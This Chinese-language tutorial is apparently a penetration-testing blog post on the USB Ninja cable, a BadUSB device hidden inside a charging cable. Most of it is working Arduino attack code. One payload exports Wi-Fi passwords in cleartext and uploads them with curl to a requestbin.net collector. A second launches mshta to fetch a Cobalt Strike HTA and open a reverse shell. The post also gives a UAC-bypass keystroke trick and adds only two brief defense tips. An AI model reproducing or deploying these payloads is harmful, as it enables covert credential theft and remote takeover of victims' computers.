USB ninja 翻译过来就是USB忍者,算是badusb的一种,属于HID攻击设备。在那之前我们先了解下什么是HID攻击
HID攻击原理
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的usb ninja利用的是虚拟键盘来实现恶意代码的执行,而它与badusb不同的是,它把代码隐藏在数据线中,更具有迷惑性。
介绍一下常见HID设备
设备介绍
拿到手之后,里面有以下几样东西
1、数据线(我要了type-C的接口,因为现在手机主流都是type-C)
2、外壳
3、天线
4、触发代码上传机制的磁铁
5、主板
电池介绍
使用为LIR2032 3.7V可充电电池,而还有一种电池与它相似CR2032 3V一次性电池
当我们的可充电电池寿命用尽时,请去五金店购买LIR2032,切记不要买错,因为给CR2032充电可能会发生爆炸(切记)
组装没啥难度,直接把外壳用螺丝刀拧上就行了
软件介绍
使用Arduino 进行编写代码,下载链接如下
https://share.weiyun.com/5aNlfTg
函数介绍
Arduino IDE中使用的开发语言是C,一个程序在Arduino IDE中被成为 sketch,每个 sketch 都包含一个 setup 函数和一个 loop 函数。程序启动,首先调用 setup,这个函
数只被调用一次,loop 函数会被不停的重复调用下去。
软件设置
点击文件,首选项,进行设置开发板管理器
http://usbninja.com/arduino/package_USBNinja_index.json
设置完成后,点击工具,开发板管理,进行加载管理器,需VPN,然后拉到最下面,有个USB ninja进行安装
烧录时开发板选择USB Ninja cable(BLE+Hall sensor)
代码示例与演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include <NinjaKeyboard.h> void setup() { //SetRunOnce(PAYLOADA,true); //SetRunOnce(PAYLOADB,true); //If you want payload to run only once, run this function. } // void loop() {} /* When the Bluetooth remote control button A is pressed. The program in payloadA() will be executed in a loop. Until the button A is released. */ void payloadA() { USBninjaOnline(); NinjaKeyboard.begin(); NinjaKeyboard.delay(1000); NinjaKeyboard.sendKeyStroke(0); NinjaKeyboard.delay(1000); NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); NinjaKeyboard.delay(200); NinjaKeyboard.print(F("cmd")); NinjaKeyboard.sendKeyStroke(KEY_ENTER); NinjaKeyboard.delay(1000); NinjaKeyboard.println("netsh wlan export profile key=clear && type *.xml >666.txt && curl http://requestbin.net/r/12zzzzz1 -F file=@666.txt && exit"); //获取WIFI信息,平台使用的http://requestbin.net相当于ceye平台数据外带 NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT); NinjaKeyboard.delay(100); NinjaKeyboard.sendKeyStroke(KEY_ENTER); NinjaKeyboard.delay(100); NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT); NinjaKeyboard.delay(100); NinjaKeyboard.end(); USBninjaOffline(); NinjaKeyboard.begin(); } void payloadB() { USBninjaOnline(); NinjaKeyboard.begin(); NinjaKeyboard.delay(1000); NinjaKeyboard.sendKeyStroke(0); NinjaKeyboard.delay(1000); NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //按下win键+R键 NinjaKeyboard.delay(100); NinjaKeyboard.println("mshta.exe http://127.0.0.1/1.hta"); //运行CS木马反弹shell NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT); NinjaKeyboard.delay(100); NinjaKeyboard.sendKeyStroke(KEY_ENTER); //回车 NinjaKeyboard.delay(100); NinjaKeyboard.sendKeyStroke(KEY_ENTER); NinjaKeyboard.delay(500); NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT); NinjaKeyboard.delay(100); NinjaKeyboard.end(); USBninjaOffline(); NinjaKeyboard.begin(); }
验证完代码之后,进行上传,会提示插入数据线
/>Please plug in the USBNinja device …
1、paylaodA
获取WIFI信息,使用平台http://requestbin.net
执行之后获得目标机的WIFI信息,在平台进行查看
name为WIFI的名字
protected为密码是否加密
KeyMaterial为密码
在测试的时候只发现一个明文密码,可正常连接该WIFI,其他都为加密密码。
2、payloadB
使用CS生成.hta结尾的木马
按下A按钮,执行payloadB,反弹shell
UAC绕过(badusb也可使用)
看到网上好多说用模拟点击进行绕过的,其实不用那么麻烦。
直接可以使用Alt+y绕过UAC,在执行HID攻击时我们需要使用管理员的权限可执行ctrl+shift+enter。
防御手段
1、不使用未知来源的U盘,数据线等与电脑交互的设备。
2、使用转接器,如下图所示
加入知识星球获取更多渗透资料